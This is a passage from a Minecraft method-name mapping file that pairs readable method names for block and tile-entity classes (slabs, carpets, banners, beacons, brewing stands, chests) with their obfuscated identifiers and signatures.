(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockWoodSlab/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockWoodSlab/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockWoodSlab/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockWoodSlab/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWoodSlab/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockWoodSlab/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockWoodSlab/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockWoodSlab/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockWoodSlab/getVariant (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; net/minecraft/block/BlockWoodSlab/func_176553_a (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; +MD: net/minecraft/block/BlockWoodSlab/getUnlocalizedName (I)Ljava/lang/String; net/minecraft/block/BlockWoodSlab/func_150002_b (I)Ljava/lang/String; +MD: net/minecraft/block/BlockWoodSlab/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockWoodSlab/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockWoodSlab/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockWoodSlab/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWoodSlab/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockWoodSlab/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockWoodSlab/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockWoodSlab/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockWoodSlab/getVariantProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockWoodSlab/func_176551_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockCarpet/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCarpet/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCarpet/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockCarpet/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockCarpet/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockCarpet/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockCarpet/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockCarpet/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockCarpet/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCarpet/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCarpet/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockCarpet/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockCarpet/setBlockBoundsFromMeta (I)V net/minecraft/block/BlockCarpet/func_150089_b (I)V +MD: net/minecraft/block/BlockCarpet/isOpaqueCube ()Z net/minecraft/block/BlockCarpet/func_149662_c ()Z +MD: net/minecraft/block/BlockCarpet/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCarpet/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCarpet/isFullCube ()Z net/minecraft/block/BlockCarpet/func_149686_d ()Z +MD: net/minecraft/block/BlockCarpet/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCarpet/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCarpet/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCarpet/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCarpet/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCarpet/func_176329_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCarpet/checkForDrop (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockCarpet/func_176328_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockCarpet/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockCarpet/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockCarpet/setBlockBoundsForItemRender ()V net/minecraft/block/BlockCarpet/func_149683_g ()V +MD: net/minecraft/block/BlockYellowFlower/getBlockType ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; net/minecraft/block/BlockYellowFlower/func_176495_j ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/getPatternName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177271_a ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/getPatternByID (Ljava/lang/String;)Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177268_a (Ljava/lang/String;)Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/getPatternID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177273_b ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/getCraftingLayers ()[Ljava/lang/String; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177267_c ()[Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/hasValidCrafting ()Z net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177270_d ()Z +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/hasCraftingStack ()Z net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177269_e ()Z +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/getCraftingStack ()Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/func_177272_f ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/values ()[Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/values ()[Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; +MD: net/minecraft/tileentity/TileEntityBanner/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBanner/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBanner/setBaseColorAndPatterns (Lnet/minecraft/nbt/NBTTagCompound;ILnet/minecraft/nbt/NBTTagList;)V net/minecraft/tileentity/TileEntityBanner/func_181020_a (Lnet/minecraft/nbt/NBTTagCompound;ILnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/tileentity/TileEntityBanner/setItemValues (Lnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityBanner/func_175112_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityBanner/getBaseColor ()I net/minecraft/tileentity/TileEntityBanner/func_175115_b ()I +MD: net/minecraft/tileentity/TileEntityBanner/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBanner/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBanner/getBaseColor (Lnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityBanner/func_175111_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityBanner/getPatternList ()Ljava/util/List; net/minecraft/tileentity/TileEntityBanner/func_175114_c ()Ljava/util/List; +MD: net/minecraft/tileentity/TileEntityBanner/getPatterns (Lnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityBanner/func_175113_c (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityBanner/getPatterns ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/tileentity/TileEntityBanner/func_181021_d ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/tileentity/TileEntityBanner/getColorList ()Ljava/util/List; net/minecraft/tileentity/TileEntityBanner/func_175110_d ()Ljava/util/List; +MD: net/minecraft/tileentity/TileEntityBanner/removeBannerData (Lnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityBanner/func_175117_e (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityBanner/getPatternResourceLocation ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBanner/func_175116_e ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBanner/initializeBannerData ()V net/minecraft/tileentity/TileEntityBanner/func_175109_g ()V +MD: net/minecraft/tileentity/TileEntityBanner/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntityBanner/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntityBeacon$BeamSegment/incrementHeight ()V net/minecraft/tileentity/TileEntityBeacon$BeamSegment/func_177262_a ()V +MD: net/minecraft/tileentity/TileEntityBeacon$BeamSegment/getColors ()[F net/minecraft/tileentity/TileEntityBeacon$BeamSegment/func_177263_b ()[F +MD: net/minecraft/tileentity/TileEntityBeacon$BeamSegment/getHeight ()I net/minecraft/tileentity/TileEntityBeacon$BeamSegment/func_177264_c ()I +MD: net/minecraft/tileentity/TileEntityBeacon/addEffectsToPlayers ()V net/minecraft/tileentity/TileEntityBeacon/func_146000_x ()V +MD: net/minecraft/tileentity/TileEntityBeacon/updateSegmentColors ()V net/minecraft/tileentity/TileEntityBeacon/func_146003_y ()V +MD: net/minecraft/tileentity/TileEntityBeacon/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBeacon/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBeacon/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBeacon/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBeacon/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityBeacon/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityBeacon/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBeacon/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBeacon/setName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityBeacon/func_145999_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityBeacon/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityBeacon/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityBeacon/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityBeacon/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityBeacon/getField (I)I net/minecraft/tileentity/TileEntityBeacon/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityBeacon/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBeacon/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBeacon/setField (II)V net/minecraft/tileentity/TileEntityBeacon/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityBeacon/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityBeacon/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityBeacon/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBeacon/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBeacon/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityBeacon/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityBeacon/update ()V net/minecraft/tileentity/TileEntityBeacon/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityBeacon/receiveClientEvent (II)Z net/minecraft/tileentity/TileEntityBeacon/func_145842_c (II)Z +MD: net/minecraft/tileentity/TileEntityBeacon/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityBeacon/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityBeacon/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBeacon/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBeacon/getFieldCount ()I net/minecraft/tileentity/TileEntityBeacon/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityBeacon/func_183001_h (I)I net/minecraft/tileentity/TileEntityBeacon/func_183001_h (I)I +MD: net/minecraft/tileentity/TileEntityBeacon/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBeacon/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBeacon/clear ()V net/minecraft/tileentity/TileEntityBeacon/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityBeacon/hasCustomName ()Z net/minecraft/tileentity/TileEntityBeacon/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityBeacon/updateBeacon ()V net/minecraft/tileentity/TileEntityBeacon/func_174908_m ()V +MD: net/minecraft/tileentity/TileEntityBeacon/getBeamSegments ()Ljava/util/List; net/minecraft/tileentity/TileEntityBeacon/func_174907_n ()Ljava/util/List; +MD: net/minecraft/tileentity/TileEntityBeacon/shouldBeamRender ()F net/minecraft/tileentity/TileEntityBeacon/func_146002_i ()F +MD: net/minecraft/tileentity/TileEntityBeacon/getSizeInventory ()I net/minecraft/tileentity/TileEntityBeacon/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityBeacon/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityBeacon/func_70297_j_ ()I +MD: net/minecraft/tileentity/TileEntityBeacon/getMaxRenderDistanceSquared ()D net/minecraft/tileentity/TileEntityBeacon/func_145833_n ()D +MD: net/minecraft/tileentity/TileEntityBeacon/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntityBeacon/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntity$1/call ()Ljava/lang/String; net/minecraft/tileentity/TileEntity$1/call ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntity$1/call ()Ljava/lang/Object; net/minecraft/tileentity/TileEntity$1/call ()Ljava/lang/Object; +MD: net/minecraft/tileentity/TileEntity$2/call ()Ljava/lang/String; net/minecraft/tileentity/TileEntity$2/call ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntity$2/call ()Ljava/lang/Object; net/minecraft/tileentity/TileEntity$2/call ()Ljava/lang/Object; +MD: net/minecraft/tileentity/TileEntity$3/call ()Ljava/lang/String; net/minecraft/tileentity/TileEntity$3/call ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntity$3/call ()Ljava/lang/Object; net/minecraft/tileentity/TileEntity$3/call ()Ljava/lang/Object; +MD: net/minecraft/tileentity/TileEntity/validate ()V net/minecraft/tileentity/TileEntity/func_145829_t ()V +MD: net/minecraft/tileentity/TileEntity/updateContainingBlockInfo ()V net/minecraft/tileentity/TileEntity/func_145836_u ()V +MD: net/minecraft/tileentity/TileEntity/func_183000_F ()Z net/minecraft/tileentity/TileEntity/func_183000_F ()Z +MD: net/minecraft/tileentity/TileEntity/access$000 ()Ljava/util/Map; net/minecraft/tileentity/TileEntity/access$000 ()Ljava/util/Map; +MD: net/minecraft/tileentity/TileEntity/getDistanceSq (DDD)D net/minecraft/tileentity/TileEntity/func_145835_a (DDD)D +MD: net/minecraft/tileentity/TileEntity/setWorldObj (Lnet/minecraft/world/World;)V net/minecraft/tileentity/TileEntity/func_145834_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/tileentity/TileEntity/addInfoToCrashReport (Lnet/minecraft/crash/CrashReportCategory;)V net/minecraft/tileentity/TileEntity/func_145828_a (Lnet/minecraft/crash/CrashReportCategory;)V +MD: net/minecraft/tileentity/TileEntity/setPos (Lnet/minecraft/util/BlockPos;)V net/minecraft/tileentity/TileEntity/func_174878_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/tileentity/TileEntity/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntity/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntity/addMapping (Ljava/lang/Class;Ljava/lang/String;)V net/minecraft/tileentity/TileEntity/func_145826_a (Ljava/lang/Class;Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntity/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntity/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntity/receiveClientEvent (II)Z net/minecraft/tileentity/TileEntity/func_145842_c (II)Z +MD: net/minecraft/tileentity/TileEntity/createAndLoadEntity (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/tileentity/TileEntity/func_145827_c (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/tileentity/TileEntity/markDirty ()V net/minecraft/tileentity/TileEntity/func_70296_d ()V +MD: net/minecraft/tileentity/TileEntity/getMaxRenderDistanceSquared ()D net/minecraft/tileentity/TileEntity/func_145833_n ()D +MD: net/minecraft/tileentity/TileEntity/hasWorldObj ()Z net/minecraft/tileentity/TileEntity/func_145830_o ()Z +MD: net/minecraft/tileentity/TileEntity/getBlockMetadata ()I net/minecraft/tileentity/TileEntity/func_145832_p ()I +MD: net/minecraft/tileentity/TileEntity/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/TileEntity/func_174877_v ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/TileEntity/getBlockType ()Lnet/minecraft/block/Block; net/minecraft/tileentity/TileEntity/func_145838_q ()Lnet/minecraft/block/Block; +MD: net/minecraft/tileentity/TileEntity/isInvalid ()Z net/minecraft/tileentity/TileEntity/func_145837_r ()Z +MD: net/minecraft/tileentity/TileEntity/invalidate ()V net/minecraft/tileentity/TileEntity/func_145843_s ()V +MD: net/minecraft/tileentity/TileEntity/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntity/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntity/getWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/TileEntity/func_145831_w ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntityBrewingStand/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBrewingStand/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBrewingStand/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBrewingStand/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBrewingStand/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityBrewingStand/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/canInsertItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityBrewingStand/func_180462_a (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/getSlotsForFace (Lnet/minecraft/util/EnumFacing;)[I net/minecraft/tileentity/TileEntityBrewingStand/func_180463_a (Lnet/minecraft/util/EnumFacing;)[I +MD: net/minecraft/tileentity/TileEntityBrewingStand/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBrewingStand/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/setName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityBrewingStand/func_145937_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityBrewingStand/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityBrewingStand/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityBrewingStand/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/getField (I)I net/minecraft/tileentity/TileEntityBrewingStand/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityBrewingStand/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityBrewingStand/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityBrewingStand/setField (II)V net/minecraft/tileentity/TileEntityBrewingStand/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityBrewingStand/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/canExtractItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityBrewingStand/func_180461_b (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityBrewingStand/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityBrewingStand/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/update ()V net/minecraft/tileentity/TileEntityBrewingStand/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityBrewingStand/getPotionResult (ILnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityBrewingStand/func_145936_c (ILnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityBrewingStand/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityBrewingStand/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityBrewingStand/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBrewingStand/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBrewingStand/getFieldCount ()I net/minecraft/tileentity/TileEntityBrewingStand/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityBrewingStand/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityBrewingStand/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityBrewingStand/clear ()V net/minecraft/tileentity/TileEntityBrewingStand/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityBrewingStand/hasCustomName ()Z net/minecraft/tileentity/TileEntityBrewingStand/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/func_174902_m ()[Z net/minecraft/tileentity/TileEntityBrewingStand/func_174902_m ()[Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/canBrew ()Z net/minecraft/tileentity/TileEntityBrewingStand/func_145934_k ()Z +MD: net/minecraft/tileentity/TileEntityBrewingStand/brewPotions ()V net/minecraft/tileentity/TileEntityBrewingStand/func_145940_l ()V +MD: net/minecraft/tileentity/TileEntityBrewingStand/getSizeInventory ()I net/minecraft/tileentity/TileEntityBrewingStand/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityBrewingStand/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityBrewingStand/func_70297_j_ ()I +MD: net/minecraft/tileentity/TileEntityChest/updateContainingBlockInfo ()V net/minecraft/tileentity/TileEntityChest/func_145836_u ()V +MD: net/minecraft/tileentity/TileEntityChest/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityChest/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityChest/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityChest/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityChest/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityChest/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityChest/func_174910_a (Lnet/minecraft/tileentity/TileEntityChest;Lnet/minecraft/util/EnumFacing;)V net/minecraft/tileentity/TileEntityChest/func_174910_a (Lnet/minecraft/tileentity/TileEntityChest;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/tileentity/TileEntityChest/getAdjacentChest (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/tileentity/TileEntityChest; net/minecraft/tileentity/TileEntityChest/func_174911_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/tileentity/TileEntityChest; +MD: net/minecraft/tileentity/TileEntityChest/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityChest/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityChest/setCustomName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityChest/func_145976_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityChest/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityChest/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityChest/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityChest/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityChest/getField (I)I net/minecraft/tileentity/TileEntityChest/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityChest/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityChest/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityChest/setField (II)V net/minecraft/tileentity/TileEntityChest/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityChest/isItemValidForSlot 